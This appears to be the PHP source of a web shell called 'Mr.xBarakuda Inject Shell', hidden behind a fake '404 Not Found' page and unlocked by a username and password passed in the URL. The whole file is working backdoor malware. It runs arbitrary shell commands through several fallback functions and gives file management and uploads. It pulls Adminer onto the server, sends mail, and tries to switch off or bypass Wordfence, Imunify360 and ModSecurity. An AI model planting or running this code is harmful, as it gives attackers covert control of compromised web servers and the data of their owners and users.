Not Found

The requested URL was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. '); } # CEK LOGIN SESSION if (!isset($_SESSION['login'])) { # VALIDASI LOGIN if ( !isset($_GET['user']) || !isset($_GET['pass']) || $_GET['user'] !== $user || $_GET['pass'] !== $pass ) { http_response_code(404); exit('

Not Found

The requested URL was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. '); } # SET SESSION LOGIN $_SESSION['login'] = true; } echo "Login berhasil"; function getFileDetails($path) { $folders = []; $files = []; try { $items = @scandir($path); if (!is_array($items)) { throw new Exception('Failed to scan directory'); } foreach($items as $item) { if ($item == '.' || $item == '..') { continue; } $itemPath = $path . '/' . $item; $itemDetails = ['name' => $item, 'type' => is_dir($itemPath) ? 'Folder' : 'File', 'size' => is_dir($itemPath) ? '' : formatSize(filesize($itemPath)), 'permission' => substr(sprintf('%o',fileperms($itemPath)), -4),]; if (is_dir($itemPath)) { $folders[] = $itemDetails; } else { $files[] = $itemDetails; } } return array_merge($folders, $files); } catch (Exception $e) { return 'None'; } } function formatSize($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; while ($size >= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } function executeCommand($command) { $currentDirectory = getCurrentDirectory(); $command = "cd $currentDirectory && $command"; $output = ''; $error = ''; $descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'],]; $process = @proc_open($command, $descriptors, $pipes); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[2]); $returnValue = proc_close($process); $output = trim($output); $error = trim($error); if ($returnValue === 0 && !empty($output)) { return $output; } elseif (!empty($error)) { return $error; } } $shellOutput = @shell_exec($command); if ($shellOutput !== null) { $output = trim($shellOutput); if (!empty($output)) { return $output; } } else { $error = error_get_last(); if (!empty($error)) { return $error['message']; } } @exec($command, $execOutput, $execStatus); if ($execStatus === 0) { $output = implode(PHP_EOL, $execOutput); if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; } ob_start(); @passthru($command, $passthruStatus); $passthruOutput = ob_get_clean(); if ($passthruStatus === 0) { $output = $passthruOutput; if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; } ob_start(); @system($command, $systemStatus); $systemOutput = ob_get_clean(); if ($systemStatus === 0) { $output = $systemOutput; if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; } return 'Error: Command execution failed.'; } function readFileContent($file) { return file_get_contents($file); } function saveFileContent($file) { if (isset($_POST['content'])) { return file_put_contents($file, $_POST['content']) !== false; } return false; } function uploadFile($targetDirectory) { if (isset($_FILES['file'])) { $currentDirectory = getCurrentDirectory(); $targetFile = $targetDirectory . '/' . basename($_FILES['file']['name']); if ($_FILES['file']['size'] === 0) { return 'Open!'; } else { if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { return 'Success!'; } else { return 'Failed!'; } } return ''; } } function changeDirectory($path) { if ($path === '..') { @chdir('..'); } else { @chdir($path); } } function getCurrentDirectory() { return realpath(getcwd()); } function getLink($path, $name) { if (is_dir($path)) { return '' . $name . ''; } elseif (is_file($path)) { return '' . $name . ''; } } function getDirectoryArray($path) { $directories = explode('/', $path); $directoryArray = []; $currentPath = ''; foreach ($directories as $directory) { if (!empty($directory)) { $currentPath .= '/' . $directory; $directoryArray[] = ['path' => $currentPath, 'name' => $directory,]; } } return $directoryArray; } function showBreadcrumb($path) { $path = str_replace('\\', '/', $path); $paths = explode('/', $path); ?>

Name Type Size Permission Actions
None
alert('File deleted');window.location='?dir=" . urlencode($currentDirectory) . "';"; exit; } elseif (is_dir($file)) { $responseMessage = deleteFolder($file); echo ""; exit; } else { $errorMessage = 'File or folder does not exist.'; } } } if (isset($_POST['Summon'])) { $baseUrl = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php'; $currentPath = getCurrentDirectory(); $fileUrl = $baseUrl; $fileName = 'adminer.php'; $filePath = $currentPath . '/' . $fileName; $fileContent = @file_get_contents($fileUrl); if ($fileContent !== false) { if (file_put_contents($filePath, $fileContent) !== false) { $responseMessage = 'File "' . $fileName . '" summoned successfully. ' . $filePath . ''; } else { $errorMessage = 'Failed to save the summoned file.'; } } else { $errorMessage = 'Failed to fetch the file content.'; } } if (function_exists('litespeed_request_headers')) { $headers = litespeed_request_headers(); if (isset($headers['X-LSCACHE'])) { header('X-LSCACHE: off'); } } if (defined('WORDFENCE_VERSION')) { define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true); define('WORDFENCE_DISABLE_FILE_MODS', true); } if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) { $imunifyHeaders = imunify360_request_headers(); if (isset($imunifyHeaders['X-Imunify360-Request'])) { header('X-Imunify360-Request: bypass'); } if (isset($imunifyHeaders['X-Imunify360-Captcha-Bypass'])) { header('X-Imunify360-Captcha-Bypass: ' . $imunifyHeaders['X-Imunify360-Captcha-Bypass']); } } if (function_exists('apache_request_headers')) { $apacheHeaders = apache_request_headers(); if (isset($apacheHeaders['X-Mod-Security'])) { header('X-Mod-Security: ' . $apacheHeaders['X-Mod-Security']); } } if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP']; if (isset($apacheHeaders['HTTP_CF_VISITOR'])) { header('HTTP_CF_VISITOR: ' . $apacheHeaders['HTTP_CF_VISITOR']); } } ?> 404 Not Found

[ Mr.xBarakuda Inject Shell ]


Send a report to [" . $_POST['email'] . "] - $xx"; } else { echo "Failed to send the email."; } } else { echo "Please provide an email."; } } else { ?>

Mail Test:


Upload:

Command:

'; echo '
' . htmlspecialchars($content) . '
'; echo '
'; } else { echo 'Failed to read the file.'; } } ?>

Command Output:

Rename:


Cancel

Edit File:


Change Permission:


Filemanager'; showBreadcrumb($currentDirectory); showFileTable($currentDirectory); ?>